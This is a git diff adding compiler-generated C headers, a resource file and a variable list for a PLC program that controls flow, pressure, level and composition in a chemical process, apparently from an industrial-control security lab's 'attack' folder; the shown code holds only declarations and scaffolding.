__DECLARE_VAR(REAL,VALVE_POS_REAL) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,VALVE_POS_NOMINAL) + __DECLARE_VAR(REAL,COMPOSITION_K) + __DECLARE_VAR(REAL,COMPOSITION_TI) + __DECLARE_VAR(TIME,CYCLE_TIME) + SCALE_TO_REAL SCALE_TO_REAL3; + SCALE_TO_REAL SCALE_TO_REAL2; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,COMP_MAX) + __DECLARE_VAR(REAL,COMP_MIN) + __DECLARE_VAR(REAL,POS_MAX) + __DECLARE_VAR(REAL,POS_MIN) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,SUB45_OUT) + __DECLARE_VAR(REAL,MUL46_OUT) + __DECLARE_VAR(REAL,ADD42_OUT) + __DECLARE_VAR(REAL,LIMIT44_OUT) + +} COMPOSITION_CONTROL; + +void COMPOSITION_CONTROL_init__(COMPOSITION_CONTROL *data__, BOOL retain); +// Code part +void COMPOSITION_CONTROL_body__(COMPOSITION_CONTROL *data__); +// FUNCTION_BLOCK INITIALIZE_SP +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,FLOW_SP) + __DECLARE_VAR(UINT,A_SP) + __DECLARE_VAR(UINT,PRESS_SP) + __DECLARE_VAR(UINT,OVER_SP) + __DECLARE_VAR(UINT,LEVEL_SP) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(UINT,FLOW_SP_C) + __DECLARE_VAR(UINT,A_SP_C) + __DECLARE_VAR(UINT,PRESS_SP_C) + __DECLARE_VAR(UINT,OVER_SP_C) + __DECLARE_VAR(UINT,LEVEL_SP_C) + __DECLARE_VAR(UINT,MOVE3_OUT) + __DECLARE_VAR(UINT,MOVE7_OUT) + __DECLARE_VAR(UINT,MOVE11_OUT) + __DECLARE_VAR(UINT,MOVE15_OUT) + __DECLARE_VAR(UINT,MOVE19_OUT) + +} INITIALIZE_SP; + +void INITIALIZE_SP_init__(INITIALIZE_SP *data__, BOOL retain); +// Code part +void INITIALIZE_SP_body__(INITIALIZE_SP *data__); +// FUNCTION_BLOCK PRESSURE_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,PRESSURE) + __DECLARE_VAR(UINT,PRESSURE_SP) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,VALVE_POS) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,PRESSURE_REAL) + __DECLARE_VAR(REAL,PRESSURE_SP_REAL) + __DECLARE_VAR(REAL,VALVE_POS_REAL) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,VALVE_POS_NOMINAL) + __DECLARE_VAR(REAL,PRESSURE_K) + __DECLARE_VAR(REAL,PRESSURE_TI) + __DECLARE_VAR(TIME,CYCLE_TIME) + SCALE_TO_REAL SCALE_TO_REAL5; + SCALE_TO_REAL SCALE_TO_REAL4; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,PRESSURE_MAX) + __DECLARE_VAR(REAL,PRESSURE_MIN) + __DECLARE_VAR(REAL,POS_MIN) + __DECLARE_VAR(REAL,POS_MAX) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,SUB57_OUT) + __DECLARE_VAR(REAL,MUL60_OUT) + __DECLARE_VAR(REAL,SUB53_OUT) + __DECLARE_VAR(REAL,LIMIT55_OUT) + +} PRESSURE_CONTROL; + +void PRESSURE_CONTROL_init__(PRESSURE_CONTROL *data__, BOOL retain); +// Code part +void PRESSURE_CONTROL_body__(PRESSURE_CONTROL *data__); +// FUNCTION_BLOCK FLOW_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,PRODUCT_FLOW) + __DECLARE_VAR(UINT,NEW_POS) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,FLOW_SET_IN) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,FLOW_K) + __DECLARE_VAR(REAL,FLOW_TI) + __DECLARE_VAR(REAL,FLOW_TD) + __DECLARE_VAR(REAL,PRODUCT_FLOW_REAL) + __DECLARE_VAR(TIME,CYCLE_TIME) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,CURR_POS_REAL) + __DECLARE_VAR(REAL,FLOW_SET_REAL) + SCALE_TO_REAL SCALE_TO_REAL0; + SCALE_TO_REAL SCALE_TO_REAL1; + __DECLARE_VAR(REAL,FLOW_MAX) + __DECLARE_VAR(REAL,FLOW_MIN) + __DECLARE_VAR(REAL,POS_MIN) + __DECLARE_VAR(REAL,POS_MAX) + SCALE_TO_REAL SCALE_TO_REAL2; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,SUB59_OUT) + __DECLARE_VAR(REAL,MUL60_OUT) + __DECLARE_VAR(REAL,ADD58_OUT) + __DECLARE_VAR(REAL,LIMIT40_OUT) + +} FLOW_CONTROL; + +void FLOW_CONTROL_init__(FLOW_CONTROL *data__, BOOL retain); +// Code part +void FLOW_CONTROL_body__(FLOW_CONTROL *data__); +// FUNCTION_BLOCK LEVEL_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,LIQUID_LEVEL) + __DECLARE_VAR(UINT,LEVEL_SP) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,NEW_POS) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(TIME,CYCLE_TIME) + __DECLARE_VAR(REAL,LEVEL_K) + __DECLARE_VAR(REAL,LEVEL_TI) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,LEVEL_MAX) + __DECLARE_VAR(REAL,LEVEL_MIN) + __DECLARE_VAR(REAL,POS_MAX) + __DECLARE_VAR(REAL,POS_MIN) + __DECLARE_VAR(REAL,LEVEL_REAL) + __DECLARE_VAR(REAL,POS_REAL) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,SP_REAL) + SCALE_TO_REAL SCALE_TO_REAL1; + SCALE_TO_REAL SCALE_TO_REAL2; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,SUB32_OUT) + __DECLARE_VAR(REAL,MUL33_OUT) + __DECLARE_VAR(REAL,SUB30_OUT) + __DECLARE_VAR(REAL,LIMIT25_OUT) + +} LEVEL_CONTROL; + +void LEVEL_CONTROL_init__(LEVEL_CONTROL *data__, BOOL retain); +// Code part +void LEVEL_CONTROL_body__(LEVEL_CONTROL *data__); +// FUNCTION_BLOCK SCALE_TO_SIGNED +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,INPUT_UINT) + __DECLARE_VAR(INT,OUTPUT_INT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(UINT,DIV3_OUT) + __DECLARE_VAR(UINT,ABS8_OUT) + __DECLARE_VAR(INT,UINT_TO_INT9_OUT) + +} SCALE_TO_SIGNED; + +void SCALE_TO_SIGNED_init__(SCALE_TO_SIGNED *data__, BOOL retain); +// Code part +void SCALE_TO_SIGNED_body__(SCALE_TO_SIGNED *data__); +// FUNCTION_BLOCK PRESSURE_OVERRIDE +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,PRESSURE) + __DECLARE_VAR(UINT,CURR_SP) + __DECLARE_VAR(UINT,PRODUCT_SP) + __DECLARE_VAR(UINT,OVERRIDE_SP) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,PRESSURE_REAL) + __DECLARE_VAR(REAL,CURR_SP_REAL) + __DECLARE_VAR(REAL,PRODUCT_SP_REAL) + __DECLARE_VAR(REAL,SP_UPDATE) + __DECLARE_VAR(REAL,PRODUCT_SP_NOMINL) + __DECLARE_VAR(REAL,OVERRIDE_SP_REAL) + __DECLARE_VAR(REAL,OVERRIDE_K) + __DECLARE_VAR(REAL,OVERRIDE_TI) + __DECLARE_VAR(TIME,CYCLE_TIME) + SCALE_TO_REAL SCALE_TO_REAL7; + __DECLARE_VAR(REAL,PRESSURE_MAX) + __DECLARE_VAR(REAL,PRESSURE_MIN) + __DECLARE_VAR(REAL,FLOW_MAX) + __DECLARE_VAR(REAL,FLOW_MIN) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,SUB86_OUT) + __DECLARE_VAR(REAL,MUL87_OUT) + __DECLARE_VAR(REAL,MAX84_OUT) + __DECLARE_VAR(REAL,ADD85_OUT) + __DECLARE_VAR(REAL,LIMIT67_OUT) + __DECLARE_VAR(REAL,DIV73_OUT) + __DECLARE_VAR(REAL,MUL75_OUT) + __DECLARE_VAR(UINT,REAL_TO_UINT79_OUT) + +} PRESSURE_OVERRIDE; + +void PRESSURE_OVERRIDE_init__(PRESSURE_OVERRIDE *data__, BOOL retain); +// Code part +void PRESSURE_OVERRIDE_body__(PRESSURE_OVERRIDE *data__); +// PROGRAM MAIN +// Data part +typedef struct { + // PROGRAM Interface - IN, OUT, IN_OUT variables + + // PROGRAM private variables - TEMP, private and located variables + FLOW_CONTROL FLOW_CONTROL0; + __DECLARE_VAR(BOOL,FIRST_RUN) + __DECLARE_VAR(UINT,FLOW_SET) + __DECLARE_VAR(UINT,A_SETPOINT) + __DECLARE_VAR(UINT,PRESSURE_SP) + __DECLARE_VAR(UINT,OVERRIDE_SP) + __DECLARE_VAR(UINT,LEVEL_SP) + COMPOSITION_CONTROL COMPOSITION_CONTROL0; + SCALE_TO_SIGNED SCALE_TO_SIGNED0; + __DECLARE_VAR(UINT,F1_VALVE_POS) + __DECLARE_VAR(UINT,F1_FLOW) + __DECLARE_VAR(UINT,F2_VALVE_POS) + __DECLARE_VAR(UINT,F2_FLOW) + __DECLARE_VAR(UINT,PURGE_VALVE_POS) + __DECLARE_VAR(UINT,PURGE_FLOW) + __DECLARE_VAR(UINT,PRODUCT_VALVE_POS) + __DECLARE_VAR(UINT,PRODUCT_FLOW) + __DECLARE_VAR(UINT,PRESSURE) + __DECLARE_VAR(UINT,LEVEL) + __DECLARE_VAR(UINT,A_IN_PURGE) + __DECLARE_VAR(UINT,B_IN_PURGE) + __DECLARE_VAR(UINT,C_IN_PURGE) + __DECLARE_VAR(UINT,F1_VALVE_SP) + __DECLARE_VAR(UINT,F2_VALVE_SP) + __DECLARE_VAR(UINT,PURGE_VALVE_SP) + __DECLARE_VAR(UINT,PRODUCT_VALVE_SP) + __DECLARE_VAR(UINT,PRODUCT_VALVE_SAFE) + __DECLARE_VAR(UINT,PURGE_VALVE_SAFE) + __DECLARE_VAR(UINT,F1_VALVE_SAFE) + __DECLARE_VAR(UINT,F2_VALVE_SAFE) + PRESSURE_CONTROL PRESSURE_CONTROL0; + __DECLARE_VAR(INT,HMI_PRESSURE) + __DECLARE_VAR(INT,HMI_LEVEL) + __DECLARE_VAR(INT,HMI_F1_VALVE_POS) + __DECLARE_VAR(INT,HMI_F1_FLOW) + __DECLARE_VAR(INT,HMI_F2_VALVE_POS) + __DECLARE_VAR(INT,HMI_F2_FLOW) + __DECLARE_VAR(INT,HMI_PURGE_VALVE_POS) + __DECLARE_VAR(INT,HMI_PURGE_FLOW) + __DECLARE_VAR(INT,HMI_PRODUCT_VALVE_POS) + __DECLARE_VAR(INT,HMI_PRODUCT_FLOW) + __DECLARE_VAR(UINT,SCAN_COUNT) + SCALE_TO_SIGNED SCALE_TO_SIGNED1; + SCALE_TO_SIGNED SCALE_TO_SIGNED2; + SCALE_TO_SIGNED SCALE_TO_SIGNED3; + SCALE_TO_SIGNED SCALE_TO_SIGNED4; + SCALE_TO_SIGNED SCALE_TO_SIGNED5; + SCALE_TO_SIGNED SCALE_TO_SIGNED6; + SCALE_TO_SIGNED SCALE_TO_SIGNED7; + SCALE_TO_SIGNED SCALE_TO_SIGNED8; + SCALE_TO_SIGNED SCALE_TO_SIGNED9; + PRESSURE_OVERRIDE PRESSURE_OVERRIDE0; + LEVEL_CONTROL LEVEL_CONTROL0; + __DECLARE_EXTERNAL(BOOL,RUN_BIT) + __DECLARE_VAR(BOOL,RUN_BIT0) + INITIALIZE_SP INITIALIZE_SP0; + __DECLARE_VAR(UINT,ADD87_OUT) + __DECLARE_VAR(BOOL,GE91_OUT) + __DECLARE_VAR(BOOL,MOVE92_ENO) + __DECLARE_VAR(UINT,MOVE92_OUT) + +} MAIN; + +void MAIN_init__(MAIN *data__, BOOL retain); +// Code part +void MAIN_body__(MAIN *data__); +#endif //__POUS_H diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.c new file mode 100644 index 0000000..0c22fe2 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.c @@ -0,0 +1,38 @@ +/*******************************************/ +/* FILE GENERATED BY iec2c */ +/* Editing this file is not recommended... */ +/*******************************************/ + +#include "iec_std_lib.h" + +// RESOURCE RES0 + +extern unsigned long long common_ticktime__; + +#include "accessor.h" +#include "POUS.h" + +#include "Config0.h" +__DECLARE_GLOBAL(BOOL,RES0,RUN_BIT) + +#include "POUS.c" + +BOOL MAINTASK; +MAIN RES0__INSTANCE0; +#define INSTANCE0 RES0__INSTANCE0 + +void RES0_init__(void) { + BOOL retain; + retain = 0; + __INIT_GLOBAL(BOOL,RUN_BIT,__INITIAL_VALUE(__BOOL_LITERAL(FALSE)),retain) + MAINTASK = __BOOL_LITERAL(FALSE); + MAIN_init__(&INSTANCE0,retain); +} + +void RES0_run__(unsigned long tick) { + MAINTASK = !(tick % 1); + if (MAINTASK) { + MAIN_body__(&INSTANCE0); + } +} + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.o b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.o new file mode 100644 index 0000000..7d4d916 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/VARIABLES.csv b/plc/GRFICS_Workstation_Docs/Documents/attack/build/VARIABLES.csv new file mode 100644 index 0000000..e4bcf24 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/VARIABLES.csv @@ -0,0 +1,457 @@ +// Programs +0;CONFIG0.RES0.INSTANCE0;MAIN; + +// Variables +0;VAR;CONFIG0.RES0.RUN_BIT;CONFIG0.RES0.RUN_BIT;BOOL; +1;FB;CONFIG0.RES0.INSTANCE0;CONFIG0.RES0.INSTANCE0;MAIN; +2;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0;FLOW_CONTROL; +3;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.EN;BOOL; +4;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ENO;BOOL; +5;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_K;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_K;REAL; +6;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TI;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TI;REAL; +7;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TD;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TD;REAL; +8;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW;UINT; +9;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW_REAL;REAL; +10;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CYCLE_TIME;TIME; +11;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_UPDATE_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_UPDATE_REAL;REAL; +12;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS_REAL;REAL; +13;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.NEW_POS;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.NEW_POS;UINT; +14;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS;UINT; +15;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_REAL;REAL; +16;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_IN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_IN;UINT; +17;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0;SCALE_TO_REAL; +18;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.EN;BOOL; +19;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.ENO;BOOL; +20;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +21;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;REAL; +22;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MAX;REAL; +23;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MIN;REAL; +24;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MAX;UINT; +25;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MIN;UINT; +26;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RATE;REAL; +27;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.OFFSET;REAL; +28;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1;SCALE_TO_REAL; +29;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.EN;BOOL; +30;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.ENO;BOOL; +31;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;UINT; +32;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;REAL; +33;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MAX;REAL; +34;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MIN;REAL; +35;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MAX;UINT; +36;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MIN;UINT; +37;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RATE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RATE;REAL; +38;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.OFFSET;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.OFFSET;REAL; +39;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MAX;REAL; +40;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MIN;REAL; +41;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MIN;REAL; +42;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MAX;REAL; +43;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2;SCALE_TO_REAL; +44;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.EN;BOOL; +45;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.ENO;BOOL; +46;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;UINT; +47;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;REAL; +48;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MAX;REAL; +49;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MIN;REAL; +50;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MAX;UINT; +51;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MIN;UINT; +52;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RATE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RATE;REAL; +53;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.OFFSET;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.OFFSET;REAL; +54;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0;SCALE_TO_UINT; +55;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.EN;BOOL; +56;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.ENO;BOOL; +57;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_IN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_IN;REAL; +58;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.UINT_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.UINT_OUT;UINT; +59;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;REAL; +60;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;REAL; +61;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;UINT; +62;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SUB59_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SUB59_OUT;REAL; +63;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.MUL60_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.MUL60_OUT;REAL; +64;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ADD58_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ADD58_OUT;REAL; +65;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.LIMIT40_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.LIMIT40_OUT;REAL; +66;VAR;CONFIG0.RES0.INSTANCE0.FIRST_RUN;CONFIG0.RES0.INSTANCE0.FIRST_RUN;BOOL; +67;VAR;CONFIG0.RES0.INSTANCE0.FLOW_SET;CONFIG0.RES0.INSTANCE0.FLOW_SET;UINT; +68;VAR;CONFIG0.RES0.INSTANCE0.A_SETPOINT;CONFIG0.RES0.INSTANCE0.A_SETPOINT;UINT; +69;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_SP;CONFIG0.RES0.INSTANCE0.PRESSURE_SP;UINT; +70;VAR;CONFIG0.RES0.INSTANCE0.OVERRIDE_SP;CONFIG0.RES0.INSTANCE0.OVERRIDE_SP;UINT; +71;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_SP;CONFIG0.RES0.INSTANCE0.LEVEL_SP;UINT; +72;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0;COMPOSITION_CONTROL; 